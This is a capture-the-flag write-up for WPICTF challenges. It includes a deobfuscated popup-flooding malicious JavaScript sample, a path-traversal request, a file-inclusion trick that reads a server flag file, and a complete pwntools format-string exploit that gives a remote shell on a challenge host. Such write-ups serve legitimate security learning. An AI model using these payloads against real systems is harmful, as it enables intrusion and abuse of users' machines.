Recon

inspector

my sources tell me that the flag might be at wpictf.xyz

In https://wpictf.xyz source code, there is a comment <!-- If you are looking for a WPI{FLAG}, you CANT be a robot! -->.

We take a look at https://wpictf.xyz/robots.txt, and there is User-agent: * Disallow: /inspector.txt.

Access https://wpictf.xyz/inspector.txt, and it gives us I heard that the WPICSC club webpage may be of use to you..

Read source code in https://web.cs.wpi.edu/~csc/index.html, and we see a comment <!-- VGhpcyBzaXRlIGlzIHB1cmVseSBpbmZvcm1hdGlvbi4gQnV0IHdlIGFwcHJlY2 lhdGUgdGhlIGVmZm9ydCBkZWNvZGluZyB0aGlzLg== -->, but after decoding it with base64, we get This site is purely information. But we appreciate the effort decoding this..

After further investigation in the source code, we get another comment <!-- Check out our prizes-->.

Access https://ctf.wpictf.xyz/prizes, and we can see the flag WPI{1nsp3ct0r_H@ck3R} in the comment.


dns_wizard

Can you find it?

Run dig wpictf.xyz TXT, and we can see a base64 encoded string V1BJezFGMHVuZF9UaDNfRE5TLXJlY29yZH0=.

After running echo -n "V1BJezFGMHVuZF9UaDNfRE5TLXJlY29yZH0=" | base64 -D, we can get the flag WPI{1F0und_Th3_DNS-record}.


hellofellowchallengers

The flag could be any one of us! He could be in this very room… He could be you! He could be me! He could even be…

I create a script to get the strings containing wpi, flag, or fellow in teams particpating WPICTF.

1
2
3
4
5
6
7
#/bin/bash

for i in {1..15};
do
	echo "Fetch Team Page $i" >> report2.txt
	curl https://ctf.wpictf.xyz/teams?page=$i | grep -i 'wpi\|flag\|fellow' >> report2.txt 
done

And we can get <a href="/teams/568">WPI{the_best_teams_make_the_flags}</a>, which contains our flag.


Reverse

danger-Live-and-Malicious-Code

Like the title says, this challenge is dangerous and contains live malware.

We get a html contains javascript. Use JS Nice to give it a better look.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'use strict';
/** @type {!Array} */
var a = ["ps:", "cte", "5df", "se_", "toS", "ing", "tri", "sub", "lac", "ryt", "d}.", "cod", "pro", "_no", "ran", "ing", "dom", "str", "ete", "rep"];
/**
 * @param {!Location} url
 * @return {undefined}
 */
function abc(url) {
  /** @type {(Window|null)} */
  popupWindow = window.open(url, "popUpWindow", "height=666,width=666,left=666,top=666");
}
(function(params, i) {
  /**
   * @param {number} isLE
   * @return {undefined}
   */
  var write = function(isLE) {
    for (; --isLE;) {
      params["push"](params["shift"]());
    }
  };
  write(++i);
})(a, 168);
/**
 * @param {string} e
 * @param {?} dt
 * @return {?}
 */
var b = function(e, dt) {
  /** @type {number} */
  e = e - 0;
  var ret = a[e];
  return ret;
};
/** @type {string} */
var c = "htt" + b("0xc") + "//t" + b("0x1") + b("0xe") + "xc-" + "rWP" + "I";
/** @type {string} */
var d = "{Oh" + b("0x5") + b("0xf") + b("0x4") + b("0x3") + b("0x7") + "_d";
/** @type {string} */
var e = b("0xa") + b("0xd") + b("0x2") + "net" + "/";
var f = Math[b("0x6") + b("0x8")]()[b("0x10") + b("0x12") + "ng"](6)[b("0x13") + b("0x9") + b("0x11")](2, 15) + Math["ran" + "dom"]()[b("0x10") + b("0x12") + "ng"](16)[b("0x13") + b("0x9") + b("0x11")](2, 15);
var g = Math["ran" + "dom"]()[b("0x10") + b("0x12") + "ng"](36)[b("0x13") + b("0x9") + b("0x11")](2, 15) + Math[b("0x6") + b("0x8")]()["toS" + b("0x12") + "ng"](36)[b("0x13") + b("0x9") + b("0x11")](2, 15);
/** @type {number} */
var i = 1;
for (; i === i; i++) {
  abc(self.location, "_blank");
}
;

We deleted the line with popupWindow and execute it, since with the for loop at the end of the file, it will give us infinite popup windows.

c, d, and e are strings. When we concat them, we can see the flag WPI{Oh_nose_procoding_detected}.


Linux

Suckmore Shell 2.0

After its abysmal performance at WPICTF 2019, suckmore shell v1 has been replaced with a more secure, innovative and performant version, aptly named suckmore shell V2.

After we ssh into smsh@smsh.wpictf.xyz, we use ls to see the flag.

Execute more flag, and we can get the flag WPI{SUckmoreSoftwareN33dz2G3TitTogeTHER}.


Web

👉😎👉

👈😎👈Zoop👉😎👉Zoop…

Local Picture

On the website, Frank said we need to send a file to him. So we press Attach.

Local Picture

In this window, we can preview the text in a given file. Change the url to http://storage.zoop/flag.txt , and we can see the flag WPI{tH4nKs_z00m3r_jh0n50n}.


dorsia2

Firefox doesnt like the page… try chromium.

We get the source code to this challenge from a video.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>
#include <stdlib.h>

void main(){
	char a[69] = {0};
	scanf("Get /%s", &a);
	printf("HTTP 200\r\n\r\n");
	fflush(stdout);
	execlp("cat", a, a, 0);
}

Using Burp Suite to modify the request of the website to the following.

1
2
3
4
5
6
7
8
GET /../flag.txt HTTP/1.1
Host: dorsia2.wpictf.xyz:31338
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Accept-Language: zh-tw
Accept-Encoding: gzip, deflate
Connection: close

And we can get the flag WPI{1_H4VE_2_return_SOME_VIDE0TAP3S}.


autograder

A prof made a little homework grader at https://autograder.wpictf.xyz/ but I heard he is hiding a flag at /home/ctf/flag.txt

Local Picture

It tells us to enter our code and solve the problem, but actually, we don’t need to care about it.

Add include "/home/ctf/flag.txt" to the code, we will get error message, and it contains the flag WPI{D0nt_run_as_r00t}.

Local Picture


Pwn

dorsia3

nc dorsia3.wpictf.xyz 31337 or 31338 or 31339

We are given the source code, the executable, and its libc libc.so.6.

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

void main(){
	char a[69];
	printf("%p%p\n", a, system-288);
	fgets(a, 69, stdin);
	printf(a, "%s\n");
}

It is a problem of format string vulnerability with printf.

First, we get the address of a and system - 288, from gdb, we can see that the return address is at a + 113.

Use one_gadget to find useful gadgets. We get one in libc.so.6 at 0x3d0e0. The address of system is at 0x3d200 in libc.so.6, we can have our gadget address at run time with (system - 288) + 288 - 0x3d200 + 0x3d0e0.

With both the address of return address and our gadget, we can get the shell by sending format string vulnerability payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# remote
p = remote('dorsia3.wpictf.xyz', 31337)
# local
#p = process('./nanoprint.dms', env={'LD_PRELOAD':'./libc.so.6'})

address = p.recv().rstrip().split("0x")
a = '0x' + address[1]
system = hex(int('0x' + address[2], 16) + 288)
log.info('a: ' + a + ' ' + 'system: ' + system)

# Return address is at (a + 113)
target_address = hex(int(a, 16) + 113)
log.info('target address: ' + target_address)

# 0x3d200 is the system call address in libc, 0x3d0e0 is our gadget
one_gadget = hex(int(system, 16) - 0x3d200 + 0x3d0e0)
log.info('one_gadget address: ' + one_gadget)

LOB = '0x' + one_gadget[-4:]
HOB = one_gadget[0:6]
log.info('HOB: ' + HOB + ' ' + 'LOB: ' + LOB)

payload = '\x90' + p32(int(target_address, 16)) + p32(int(target_address, 16) + 2) + '%' + str(int(LOB, 16) - 9) + 'x' + '%7$hn' + '%' + str(int(HOB, 16) - int(LOB, 16)) + 'x' + '%8$hn'

log.info('payload: ' + payload)

p.sendline(payload)
p.interactive()
p.close()

After we get the shell, we can get the flag WPI{Th3re_is_an_idea_of_4_Pa7rick_BatemaN}.